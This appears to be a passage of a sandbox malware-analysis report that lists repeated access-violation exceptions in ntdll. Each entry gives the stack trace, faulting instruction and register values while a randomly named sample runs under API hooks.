__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
